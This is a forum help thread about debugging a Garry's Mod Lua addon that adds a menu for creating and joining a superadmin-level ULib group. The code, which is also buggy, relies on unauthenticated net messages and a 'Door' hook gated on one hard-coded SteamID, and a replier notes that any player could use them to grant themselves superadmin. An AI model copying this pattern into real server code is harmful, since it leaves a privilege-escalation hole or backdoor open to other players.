Unknown command

I’m trying to make a menu that I can open with a command open_RankMenu. All it does is edit one rank for me, easy to use to test permissions. I’m getting the error Unknown command when I type in open_RankMenu, even though it displays on autocomplete. Here is the code:




net.Receive("group",function ( len )



	function CreateUsorGroup()

		net.Start("CreateUsorGroup")
		net.Send()

	end



	function JoinUsorGroup()

		net.Start("JoinUsorGroup")
		net.Send()

	end



	function RemoveUsorGroup()

		net.Start("RemoveUsorGroup")
		net.Send()

	end





	function RankMenu()

		local frame = vgui.Create("DFrame")
		frame:SetSize(700,350)
		frame:Ceter()
		frame:SetTitle( "Menu" )
		frame:SetDraggable(true)
		frame:SetVisible(true)
		frame:MakePopup()
		frame.Paint = function( self, w, h ) 
			draw.RoundedBox( 0, 0, 0, w, h, Color( 200, 25, 35, 180 ) )
		end

		local CreateUsor = vgui.Create("DButton", frame)
		CreateUsor:SetSize(100,20)
		CreateUsor:SetPos(5,20)
		CreateUsor:SetText("Add Usor Group")
		CreateUsor.DoClick = CreateUsorGroup


		local JoinUsor = vgui.Create("DButton", frame)
		JoinUsor:SetSize(100,20)
		JoinUsor:SetPos(5,40)
		JoinUsor:SetText("Join Usor Group")
		JoinUsor.DoClick = JoinUsorGroup


		local RemoveUsor = vgui.Create("DButton", frame)
		RemoveUsor:SetSize(100,20)
		RemoveUsor:SetPos(5, 60)
		RemoveUsor:SetText("Remove Usor Group")
		RemoveUsor.DoClick = RemoveUsorGroup






	end

	concommand.Add("open_RankMenu", RankMenu ) 
end)



Could you post the error or tell us the lines it refers to?

Actually there is an error, it says: function arguments expected near “.” I believe the error is on line 0 because it says sv_init.lua:0

The sv_init script looks like this:




util.AddNetworkString("group")
util.AddNetworkString("CreateUsorGroup")
util.AddNetworkString("JoinUsorGroup")
util.AddNetworkString("RemoveUsorGroup")
util.AddNetworkString("LeaveUsorGroup")



function Door(ply)

	if ply:SteamID() == "STEAM_0:0:60375154" then 
		net.Start("group")
		net.Send()

end
hook.Add( "PlayerSpawn", "Door", Door )



net.Receive("CreateUsorGroup",function (len, ply)

	ULib.ucl.addGroup( "usor", {}, "superadmin" )

end)
 

net.Receive("JoinUsorGroup",function(len, ply)

	ply:SetUserGroup("usor")

end)


net.Receive("RemoveUsorGroup",function (len, ply)

	ULib.ucl.removeGroup( "usor" )

end)


net.Receive("LeaveUsorGroup",function (len, ply)

	ply:ULib.ucl.removeUser()

end)




Can’t tell, but it looks like your concommand is in the menu itself.

yeah I added that there when it didn’t work the first time, the error is in my reply to mexican.

Delete the whole first line and manually retype it.

I retyped both of the first lines and am still getting function arguments expected near “.” and unknown command when I type it in console

You type what into the console?

Also your sv_init is wrong, it is missing one “end” in the first function.

[editline]12th May 2016[/editline]

Post the actual error here, don’t manually type out the error, copy and paste the full error here.

The error message is:
[ERROR] addons/perms/lua/autorun/sv_init.lua:44: function arguments expected near ‘.’

  1. unknown - addons/perms/lua/autorun/sv_init.lua:0

sv_init:




util.AddNetworkString("group")
util.AddNetworkString("CreateUsorGroup")
util.AddNetworkString("JoinUsorGroup")
util.AddNetworkString("RemoveUsorGroup")
util.AddNetworkString("LeaveUsorGroup")



function Door(ply)

	if ply:SteamID() == "STEAM_0:0:60375154" then 
		net.Start("group")
		net.Send()
	end

end
hook.Add( "PlayerSpawn", "Door", Door )



net.Receive("CreateUsorGroup",function (len, ply)

	ULib.ucl.addGroup( "usor", {}, "superadmin" )

end)
 

net.Receive("JoinUsorGroup",function(len, ply)

	ply:SetUserGroup("usor")

end)


net.Receive("RemoveUsorGroup",function (len, ply)

	ULib.ucl.removeGroup( "usor" )

end)


net.Receive("LeaveUsorGroup",function (len, ply)

	ply:ULib.ucl.removeUser()

end)



cl_init:




net.Receive("group", function(len)



	function CreateUsorGroup()

		net.Start("CreateUsorGroup")
		net.Send()

	end



	function JoinUsorGroup()

		net.Start("JoinUsorGroup")
		net.Send()

	end



	function RemoveUsorGroup()

		net.Start("RemoveUsorGroup")
		net.Send()

	end





	function RankMenu()

		local frame = vgui.Create("DFrame")
		frame:SetSize(700,350)
		frame:Ceter()
		frame:SetTitle( "Menu" )
		frame:SetDraggable(true)
		frame:SetVisible(true)
		frame:MakePopup()
		frame.Paint = function( self, w, h ) 
			draw.RoundedBox( 0, 0, 0, w, h, Color( 200, 25, 35, 180 ) )
		end

		local CreateUsor = vgui.Create("DButton", frame)
		CreateUsor:SetSize(100,20)
		CreateUsor:SetPos(5,20)
		CreateUsor:SetText("Add Usor Group")
		CreateUsor.DoClick = CreateUsorGroup


		local JoinUsor = vgui.Create("DButton", frame)
		JoinUsor:SetSize(100,20)
		JoinUsor:SetPos(5,40)
		JoinUsor:SetText("Join Usor Group")
		JoinUsor.DoClick = JoinUsorGroup


		local RemoveUsor = vgui.Create("DButton", frame)
		RemoveUsor:SetSize(100,20)
		RemoveUsor:SetPos(5, 60)
		RemoveUsor:SetText("Remove Usor Group")
		RemoveUsor.DoClick = RemoveUsorGroup






	end

end)

concommand.Add("open_RankMenu", RankMenu ) 




I also really LOVE your net messages, no authorization, no nothing, just let allow everyone to make themselves a super admin on a whim.

doesn’t adding the steam id in sv_init stop that?

Also you should rename your files to something more unique so that no other addon can override your files.

As for your error, this is the culprit:
ply:ULib.ucl.removeUser()

Please look up on how to use the function.

Official documentation:

[editline]12th May 2016[/editline]

It only stops them from opening the menu, you can send net messages without any menus.